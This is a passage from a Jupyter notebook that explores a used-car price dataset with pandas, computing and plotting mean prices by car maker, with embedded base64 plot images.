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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "year.plot(kind='line')" - ] - }, - { - "cell_type": "code", - "execution_count": 101, - "metadata": {}, - "outputs": [], - "source": [ - "comp = data_trimmed['Name'].str.split().str.get(0)\n", - "data_trimmed.insert(0, \"Company\", comp, True)" - ] - }, - { - "cell_type": "code", - "execution_count": 102, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
CompanyNameLocationYearKilometers_DrivenFuel_TypeTransmissionOwner_TypeMileageEnginePowerSeatsPrice
0MarutiMaruti Wagon R LXI CNGMumbai201072000CNGManualFirst26.6099858.165.01.75
1HyundaiHyundai Creta 1.6 CRDi SX OptionPune201541000DieselManualFirst19.671582126.205.012.50
2HondaHonda Jazz VChennai201146000PetrolManualFirst18.20119988.705.04.50
3MarutiMaruti Ertiga VDIChennai201287000DieselManualFirst20.77124888.767.06.00
4AudiAudi A4 New 2.0 TDI MultitronicCoimbatore201340670DieselAutomaticSecond15.201968140.805.017.74
..........................................
6014MarutiMaruti Swift VDIDelhi201427365DieselManualFirst28.40124874.005.04.75
6015HyundaiHyundai Xcent 1.1 CRDi SJaipur2015100000DieselManualFirst24.40112071.005.04.00
6016MahindraMahindra Xylo D4 BSIVJaipur201255000DieselManualSecond14.002498112.008.02.90
6017MarutiMaruti Wagon R VXIKolkata201346000PetrolManualFirst18.9099867.105.02.65
6018ChevroletChevrolet Beat DieselHyderabad201147000DieselManualFirst25.4493657.605.02.50
\n", - "

6019 rows × 13 columns

\n", - "
" - ], - "text/plain": [ - " Company Name Location Year \\\n", - "0 Maruti Maruti Wagon R LXI CNG Mumbai 2010 \n", - "1 Hyundai Hyundai Creta 1.6 CRDi SX Option Pune 2015 \n", - "2 Honda Honda Jazz V Chennai 2011 \n", - "3 Maruti Maruti Ertiga VDI Chennai 2012 \n", - "4 Audi Audi A4 New 2.0 TDI Multitronic Coimbatore 2013 \n", - "... ... ... ... ... \n", - "6014 Maruti Maruti Swift VDI Delhi 2014 \n", - "6015 Hyundai Hyundai Xcent 1.1 CRDi S Jaipur 2015 \n", - "6016 Mahindra Mahindra Xylo D4 BSIV Jaipur 2012 \n", - "6017 Maruti Maruti Wagon R VXI Kolkata 2013 \n", - "6018 Chevrolet Chevrolet Beat Diesel Hyderabad 2011 \n", - "\n", - " Kilometers_Driven Fuel_Type Transmission Owner_Type Mileage Engine \\\n", - "0 72000 CNG Manual First 26.60 998 \n", - "1 41000 Diesel Manual First 19.67 1582 \n", - "2 46000 Petrol Manual First 18.20 1199 \n", - "3 87000 Diesel Manual First 20.77 1248 \n", - "4 40670 Diesel Automatic Second 15.20 1968 \n", - "... ... ... ... ... ... ... \n", - "6014 27365 Diesel Manual First 28.40 1248 \n", - "6015 100000 Diesel Manual First 24.40 1120 \n", - "6016 55000 Diesel Manual Second 14.00 2498 \n", - "6017 46000 Petrol Manual First 18.90 998 \n", - "6018 47000 Diesel Manual First 25.44 936 \n", - "\n", - " Power Seats Price \n", - "0 58.16 5.0 1.75 \n", - "1 126.20 5.0 12.50 \n", - "2 88.70 5.0 4.50 \n", - "3 88.76 7.0 6.00 \n", - "4 140.80 5.0 17.74 \n", - "... ... ... ... \n", - "6014 74.00 5.0 4.75 \n", - "6015 71.00 5.0 4.00 \n", - "6016 112.00 8.0 2.90 \n", - "6017 67.10 5.0 2.65 \n", - "6018 57.60 5.0 2.50 \n", - "\n", - "[6019 rows x 13 columns]" - ] - }, - "execution_count": 102, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "data_trimmed" - ] - }, - { - "cell_type": "code", - "execution_count": 103, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Company\n", - "Ambassador 1.350000\n", - "Audi 25.537712\n", - "BMW 25.243146\n", - "Bentley 59.000000\n", - "Chevrolet 3.044463\n", - "Datsun 3.049231\n", - "Fiat 3.269286\n", - "Force 9.333333\n", - "Ford 6.889400\n", - "Honda 5.411743\n", - "Hyundai 5.343433\n", - "ISUZU 12.045000\n", - "Isuzu 20.000000\n", - "Jaguar 37.632250\n", - "Jeep 18.718667\n", - "Lamborghini 120.000000\n", - "Land 39.259500\n", - "Mahindra 8.045919\n", - "Maruti 4.517267\n", - "Mercedes-Benz 26.809874\n", - "Mini 26.896923\n", - "Mitsubishi 11.058889\n", - "Nissan 4.738352\n", - "Porsche 48.348333\n", - "Renault 5.799034\n", - "Skoda 7.559075\n", - "Smart 3.000000\n", - "Tata 3.562849\n", - "Toyota 11.580024\n", - "Volkswagen 5.307270\n", - "Volvo 18.802857\n", - "Name: Price, dtype: float64" - ] - }, - "execution_count": 103, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# finding means of price\n", - "p = data_trimmed.groupby('Company').Price.mean()\n", - "p" - ] - }, - { - "cell_type": "code", - "execution_count": 104, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 104, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXcAAAD4CAYAAAAXUaZHAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAAOZ0lEQVR4nO3dXYxcd32H8edbO6WhUIiVTWSSgGlrlYVtQ6tVoLBqMSElCFTnJlIsqCyxkoVEXahagdO9iHrhylUrVGSVC6sGLBU2CilVLF7SRO4iWFUE1hDAYaGOGkjcuPEC5aUlgEN/vfBJ2DhrvDuz4/H+9/lI0cz8zzkzv9w8Oz7zlqpCktSWXxj2AJKk1WfcJalBxl2SGmTcJalBxl2SGrRx2AMAXH755bVly5ZhjyFJa8rRo0e/VVUjS227KOK+ZcsW5ubmhj2GJK0pSb55rm2elpGkBhl3SWqQcZekBhl3SWqQcZekBp037knen+RUkmOL1v4mydeSfDnJPyd5/qJttyZ5MMnXk7x+QHNLAzc9Pc3Y2BgbNmxgbGyM6enpYY8kLdtynrl/ELjxrLV7gbGq+i3g34FbAZK8FLgFeFl3zPuSbFi1aaULZHp6mqmpKfbv38+PfvQj9u/fz9TUlIHXmnHeuFfVp4HvnLV2T1U90d38LHB1d307cHtV/biqHgIeBK5bxXmlC2Lv3r0cPHiQbdu2cckll7Bt2zYOHjzI3r17hz2atCyrcc79rcAnu+tXAY8s2naiW3uGJLuSzCWZW1hYWIUxpNUzPz/PxMTE09YmJiaYn58f0kTSyvQV9yRTwBPAh55cWmK3JX8NpKoOVNV4VY2PjCz56VlpaEZHR5mdnX3a2uzsLKOjo0OaSFqZnuOeZCfwJuDN9bOfczoBXLNot6uBR3sfTxqOqakpJicnmZmZ4fTp08zMzDA5OcnU1NSwR5OWpafvlklyI/Bu4Per6oeLNh0GPpzkPcALgK3A5/qeUrrAduzYAcDu3buZn59ndHSUvXv3PrUuXexyvt9QTTINvAa4HHgMuI0z7455FvDtbrfPVtXbuv2nOHMe/gngnVX1ybPv82zj4+PlF4dJ0sokOVpV40tuuxh+INu4S9LK/by4+wlVSWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBhl3SWqQcZekBp037knen+RUkmOL1jYluTfJ8e7yskXbbk3yYJKvJ3n9oAaXJJ3bcp65fxC48ay1PcCRqtoKHOluk+SlwC3Ay7pj3pdkw6pNK0lalvPGvao+DXznrOXtwKHu+iHgpkXrt1fVj6vqIeBB4LrVGVWStFy9nnO/sqpOAnSXV3TrVwGPLNrvRLcmSbqAVvsF1SyxVkvumOxKMpdkbmFhYZXHkKT1rde4P5ZkM0B3eapbPwFcs2i/q4FHl7qDqjpQVeNVNT4yMtLjGJKkpfQa98PAzu76TuCuReu3JHlWkhcDW4HP9TeiJGmlNp5vhyTTwGuAy5OcAG4D9gF3JJkEHgZuBqiqB5LcAXwVeAJ4e1X9dECzS5LO4bxxr6od59h0/Tn23wvs7WcoSVJ//ISqJDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDWor7gn+dMkDyQ5lmQ6yS8l2ZTk3iTHu8vLVmtYSdLy9Bz3JFcBfwKMV9UYsAG4BdgDHKmqrcCR7rYk6QLq97TMRuDSJBuBZwOPAtuBQ932Q8BNfT6GJGmFeo57Vf0n8LfAw8BJ4HtVdQ9wZVWd7PY5CVyx1PFJdiWZSzK3sLDQ6xiSpCX0c1rmMs48S38x8ALgl5O8ZbnHV9WBqhqvqvGRkZFex5AkLaGf0zKvAx6qqoWqOg18FHgV8FiSzQDd5an+x5QkrUQ/cX8YeGWSZycJcD0wDxwGdnb77ATu6m9ESdJKbez1wKq6L8mdwBeAJ4AvAgeA5wB3JJnkzB+Am1djUEnS8vUcd4Cqug247azlH3PmWbwkaUj8hKokNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KDjLskNci4S1KD+op7kucnuTPJ15LMJ/ndJJuS3JvkeHd52WoNK0lann6fub8XuLuqXgJcC8wDe4AjVbUVONLdliRdQD3HPcmvAL8HHASoqp9U1XeB7cChbrdDwE39jSgNx/T0NGNjY2zYsIGxsTGmp6eHPZK0bBv7OPZXgQXgA0muBY4C7wCurKqTAFV1MskVSx2cZBewC+CFL3xhH2NIq296epqpqSkOHjzIxMQEs7OzTE5OArBjx44hTyedX6qqtwOTceCzwKur6r4k7wW+D+yuqucv2u+/q+rnnncfHx+vubm5nuaQBmFsbIz9+/ezbdu2p9ZmZmbYvXs3x44dG+Jk0s8kOVpV40tt6+ec+wngRFXd192+E/gd4LEkm7sH3gyc6uMxpKGYn59nYmLiaWsTExPMz88PaSJpZXqOe1X9F/BIkt/olq4HvgocBnZ2azuBu/qaUBqC0dFRZmdnn7Y2OzvL6OjokCaSVqbfd8vsBj6U5MvAy4G/AvYBNyQ5DtzQ3ZbWlKmpKSYnJ5mZmeH06dPMzMwwOTnJ1NTUsEeTlqWfF1SpqvuBpc73XN/P/UrD9uSLprt372Z+fp7R0VH27t3ri6laM3p+QXU1+YKqJK3coF5QlSRdpIy7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg/r6yl9prUlyQR7nYvi2Va1vPnPXulJVK/7vRe/+2IqPkYbNuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDXIuEtSg4y7JDWo77gn2ZDki0k+1t3elOTeJMe7y8v6H1OStBKr8cz9HcD8ott7gCNVtRU40t2WJF1AfcU9ydXAG4F/WLS8HTjUXT8E3NTPY0iSVq7fZ+5/B7wL+L9Fa1dW1UmA7vKKPh9DkrRCPcc9yZuAU1V1tMfjdyWZSzK3sLDQ6xiSpCX088z91cAfJvkGcDvw2iT/CDyWZDNAd3lqqYOr6kBVjVfV+MjISB9jSJLO1nPcq+rWqrq6qrYAtwD/WlVvAQ4DO7vddgJ39T2lJGlFBvE+933ADUmOAzd0tyVJF9Cq/BJTVX0K+FR3/dvA9atxv5Kk3vgJVUlqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lq0Kr8hqo0LNf+5T187/HTA3+cLXs+PtD7f96ll/Cl2/5goI+h9cW4a0373uOn+ca+Nw57jL4N+o+H1h9Py0hSg4y7JDXIuEtSg4y7JDWo57gnuSbJTJL5JA8keUe3vinJvUmOd5eXrd64kqTl6OeZ+xPAn1XVKPBK4O1JXgrsAY5U1VbgSHdbknQB9Rz3qjpZVV/orv8AmAeuArYDh7rdDgE39TmjJGmFVuWce5ItwG8D9wFXVtVJOPMHALjiHMfsSjKXZG5hYWE1xpAkdfqOe5LnAP8EvLOqvr/c46rqQFWNV9X4yMhIv2NIkhbpK+5JLuFM2D9UVR/tlh9Lsrnbvhk41d+IkqSV6ufdMgEOAvNV9Z5Fmw4DO7vrO4G7eh9PktSLfr5b5tXAHwFfSXJ/t/YXwD7gjiSTwMPAzX1NKElasZ7jXlWzQM6x+fpe71eS1D8/oSpJDTLuktQg4y5JDTLuktQg4y5JDTLuktQg4y5JDTLuktQg4y5JDTLuktQg4y5JDTLuktSgfr4VUhq6547u4TcPrf2f6X3uKMAbhz2GGmLctab9YH4f39i39qO4Zc/Hhz2CGuNpGUlqkHGXpAYZd0lqkHGXpAYZd0lqkO+W0ZrXwjtNnnfpJcMeQY0x7lrTLsTbILfs+XgTb7fU+uJpGUlqkHGXpAYZd0lq0MDinuTGJF9P8mCStf/lH5K0hgzkBdUkG4C/B24ATgCfT3K4qr46iMeTlitJb8f99cr2r6qeHkdaLYN6t8x1wINV9R8ASW4HtgPGXUNldLVeDOq0zFXAI4tun+jWnpJkV5K5JHMLCwsDGkOS1qdBxX2pf/s+7SlTVR2oqvGqGh8ZGRnQGJK0Pg0q7ieAaxbdvhp4dECPJUk6y6Di/nlga5IXJ/lF4Bbg8IAeS5J0loG8oFpVTyT5Y+BfgA3A+6vqgUE8liTpmQb23TJV9QngE4O6f0nSufkJVUlqkHGXpAblYvhQR5IF4JvDnkM6h8uBbw17CGkJL6qqJd9LflHEXbqYJZmrqvFhzyGthKdlJKlBxl2SGmTcpfM7MOwBpJXynLskNchn7pLUIOMuSQ0y7lp3kvw0yf1JjiX5SJJnn2O/f7vQs0mrxbhrPXq8ql5eVWPAT4C3Ld7Y/UwkVfWqYQwnrQbjrvXuM8CvJ3lNkpkkHwa+ApDkf57cKcm7knwlyZeS7OvWfi3J3UmOJvlMkpcM539BeqaBfSukdLFLshF4A3B3t3QdMFZVD5213xuAm4BXVNUPk2zqNh0A3lZVx5O8Angf8NoLMrx0HsZd69GlSe7vrn8GOAi8Cvjc2WHvvA74QFX9EKCqvpPkOd0xH0me+lXJZw10amkFjLvWo8er6uWLF7pA/+859g9n/QYwZ05pfvfs+5EuFp5zl87vHuCtT76rJsmmqvo+8FCSm7u1JLl2mENKixl36Tyq6m7O/AbwXHc658+7TW8GJpN8CXgA2D6cCaVn8usHJKlBPnOXpAYZd0lqkHGXpAYZd0lqkHGXpAYZd0lqkHGXpAb9P3ezt4+JDKilAAAAAElFTkSuQmCC\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "p.plot(kind='box')" - ] - }, - { - "cell_type": "code", - "execution_count": 105, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 105, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXcAAAEGCAYAAACevtWaAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMiwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8vihELAAAACXBIWXMAAAsTAAALEwEAmpwYAAA8VklEQVR4nO3deXzcVb34/9d7JpN9b9ImXdOWQkvLnrYsglXgAi7AvcomIqDA1YuK/lwubhf06v2q159fr4JekH0XQWQRQSwgW1taCi3dW9p0TdosbSZNMklm5nz/+Hw+yTSdJLNvfT8fjzwy+cx2JjPznjPvc877iDEGpZRSucWV7gYopZRKPA3uSimVgzS4K6VUDtLgrpRSOUiDu1JK5aC8dDcAoKamxjQ0NKS7GUoplVXeeeedNmNMbbjzMiK4NzQ0sGLFinQ3QymlsoqIbB/pPE3LKKVUDtLgrpRSOUiDu1JK5SAN7koplYM0uCulVA4aM7iLyD0isk9E1oQc+28R2SAiq0XkKRGpDDnvOyKyRUQ2ish5SWq3UkqpUUTSc78POH/YsZeAecaY44FNwHcARORY4HJgrn2d34qIO2GtVUopFZExg7sx5jWgY9ixvxlj/PafS4HJ9umLgMeMMX3GmG3AFmBBAturVEq9sKaZfV2+dDdDqaglIuf+eeCv9ulJwM6Q83bZxw4jIjeIyAoRWdHa2pqAZiiVWD39fr708Eoee3vn2BdWKsPEFdxF5HuAH3jYORTmYmF3AzHG3GmMaTTGNNbWhl09q1RaeXv9GAMd3f3pbopSUYu5/ICIXA18AjjbDG3ntAuYEnKxycCe2JunVPp0+QYA2N+jwV1ln5h67iJyPvDvwIXGmJ6Qs54BLheRAhGZDswC3o6/mUqlntcO7tpzV9lozJ67iDwKLAJqRGQXcAvW7JgC4CURAVhqjPmiMWatiDwOrMNK19xojAkkq/FKJZPXZ80ZONAzkOaWKBW9MYO7MeaKMIfvHuXyPwF+Ek+jlMoEXXZw17SMyka6QlWpEXh77Zy7pmVUFtLgrtQInJ57d3+Afn8wza1RKjoa3JUagTOgCnBAUzMqy2hwV2oEXSHBvUODu8oyGtyVGoGTlgHY360zZlR20eCu1Ai8vQPku623iKZlVLbR4K7UCLp8fiZXFwGallHZR4O7UiPw+gaYVl0M6EImlX00uCs1gi6fn5rSAoo8bp3rrrKOBnelRtDl81NW6KG6JJ/92nNXWUaDu1JhBIKGg31+yovyqCz2aAkClXU0uCsVxkF7GmRZoYeq4nwN7irraHBXKgxndWpZodVz1wFVlW00uCsVhhPcy+2cu9Z0V9lGg7tSYTirU8sL86gszsfrGyAQDLtjpFIZSYO7UmE45X7LizxUFXswBjp7NTWjsocGd6XC6BocUM2juiQf0O32VHbR4K5UGF2DA6oeKout4K71ZVQ20eCuVBjekJ57VbEHQBcyqayiwV2pMLp8AxR53HjcLqrsnruWIFDZRIO7UmF4e63VqQBVds5dFzKpbKLBXakwuvoGKCu00jEl+W48btG0jMoqGtyVCsMqGmb13EWEquJ8HVBVWUWDu1JheHsHKLd77gBVxbpKVWWXMYO7iNwjIvtEZE3IsWoReUlENtu/q0LO+46IbBGRjSJyXrIarlQyhfbcAa0vo7JOJD33+4Dzhx27GVhsjJkFLLb/RkSOBS4H5trX+a2IuBPWWqVSxOsboLzo0J67DqiqbDJmcDfGvAZ0DDt8EXC/ffp+4OKQ448ZY/qMMduALcCCxDRVqdTxDuu5V5VocFfZJdac+wRjTDOA/Xu8fXwSsDPkcrvsY0plDd9AgH5/cFjO3UrLGKPFw1R2SPSAqoQ5FvbdICI3iMgKEVnR2tqa4GYoFbvQipCOquJ8/EFDV58/Xc1SKiqxBve9IlIPYP/eZx/fBUwJudxkYE+4GzDG3GmMaTTGNNbW1sbYDKUSL7SujGNwIZPOmFFZItbg/gxwtX36auDpkOOXi0iBiEwHZgFvx9dEpVLLqSvjrFAFtL6Myjp5Y11ARB4FFgE1IrILuAX4KfC4iHwB2AFcAmCMWSsijwPrAD9wozEmkKS2K5UU4XruTmVIHVRV2WLM4G6MuWKEs84e4fI/AX4ST6OUSqfQWu4Op6a7rlJV2UJXqCo1zOAuTMNmywB0dGtaRmUHDe5KDROu515e6MEl2nNX2UODu1LDeH0DiEBJ/lBwd7mESl2lqrKIBnelhuny+SkryMPlOnTZRmWxh/2allFZQoO7UsN4fQOHzJRxaH0ZlU00uCs1jLULU7jg7tF57ipraHBXapgu38Ahg6mOquJ8XaGqsoYGd6WG6fL5D6kr49DKkCqbaHBXahiv79BdmByVxR76/EF6+3XRtcp8GtyVGmb4LkyOarsEQYf23lUW0OCuVAhjDF3DdmFyDNaX0by7ygIa3JUK0d0fIGgYYUDVCvi6l6rKBhrclQoRriKkwykepoOqKhtocFcqhLfX2YVplLSMBneVBTS4KxViqOd+eFqm0tmwQ0sQqCygwV2pEF47uIcbUPW4XZQV5mnPXWUFDe5KhQhX7jeU1pdR2UKDu1IhvGMGd60vo7KDBnelQoTbhSlUZXG+btihsoIGd6VCdPn85LtdFHrcYc+vLsmnQxcxqSygwV2pEN4RKkI6Kos9uohJZQUN7kqF6PKFr+XuqCrO52Cfn35/MIWtUip6GtyVCjFSLXdHlb1KVfPuKtNpcFcqhLc3fLlfh1NfRmfMqEynwV2pECOV+3VUaQkClSXiCu4i8nURWSsia0TkUREpFJFqEXlJRDbbv6sS1Vilkm2sAVUnuGtaRmW6mIO7iEwCvgo0GmPmAW7gcuBmYLExZhaw2P5bqaxgbbE3SlqmxDqvQ+vLqAwXb1omDygSkTygGNgDXATcb59/P3BxnPehVEr4A0F6+gNhy/06NC2jskXMwd0Ysxv4BbADaAY6jTF/AyYYY5rtyzQD48NdX0RuEJEVIrKitbU11mYolTBOXZnyopHTMoUeN4Uel6ZlVMaLJy1ThdVLnw5MBEpE5LORXt8Yc6cxptEY01hbWxtrM5RKmKGiYSP33MHaS1XTMirTxZOWOQfYZoxpNcYMAH8CTgf2ikg9gP17X/zNVCr5vKPUcg+l9WVUNognuO8AThWRYhER4GxgPfAMcLV9mauBp+NrolKpMVjLfYyee1WJR3PuKuON3kUZhTFmmYg8AawE/MC7wJ1AKfC4iHwB6wPgkkQ0VKlkG6uWu6OqOJ89B7ypaJJSMYs5uAMYY24Bbhl2uA+rF69UVnHK/VaMUlsGdMMOlR10hapStsh77h46ewcIBE0qmqVUTDS4K2VzgntpwRjBvSQfY4Z6+kplIg3uStm8vgFK8t3kuUd/WzgLmTo0NaMymAZ3pWxWud/R8+1gbdgBWl9GZTYN7krZvL3+UVenOqrtmu77dSGTymAa3JWydfVF1nPXtIzKBhrclbKNVcvdoWkZlQ00uCtlG2sXJkdpQR55LtHdmFRG0+CulC3SnruIUFWSz/5u7bmrzKXBXSnAGGPvwjR2zx2shUy6SlVlMg3uSgF9/iADARPRbBmwKkNqWkZlMg3uShFa7jeynnt1saZlVGb